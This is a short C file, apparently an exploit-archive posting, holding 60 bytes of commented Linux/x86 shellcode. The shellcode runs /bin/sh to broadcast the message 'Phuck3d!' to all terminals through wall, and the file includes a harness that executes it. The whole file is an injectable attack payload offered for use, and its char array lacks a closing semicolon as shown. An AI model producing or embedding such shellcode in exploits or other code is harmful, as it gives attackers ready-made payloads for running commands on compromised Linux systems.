60 bytes small Linux/x86 shellcode that send "Phuck3d!" to all terminals.
222bcd93231be03d8446d74896dc2dff4386ef4ba1d7da74f7643266b106a418
/*
$Id: where-is-wallie.c, v 1.0 2010/04/24 18:32:29 condis Exp $
linux/x86 sends "Phuck3d!" to all terminals (60 bytes) shellcode
by condis
Tested on: Linux Debian
*/
int main(void)
{
char evil[] =
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x99" // cltd
"\x52" // push %edx
"\x68\x77\x61\x6c\x6c" // push $0x6c6c6177
"\x68\x21\x20\x7c\x20" // push $0x207c2021
"\x68\x63\x6b\x33\x64" // push $0x64336b63
"\x68\x20\x50\x68\x75" // push $0x75685020
"\x68\x65\x63\x68\x6f" // push $0x6f686365
"\x89\xe6" // mov %esp,%esi
"\x52" // push %edx
"\x66\x68\x2d\x63" // pushw $0x632d
"\x89\xe1" // mov %esp,%ecx
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x56" // push %esi
"\x51" // push %ecx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
void(*boom)()=(void*)evil;
boom();
return 0;
}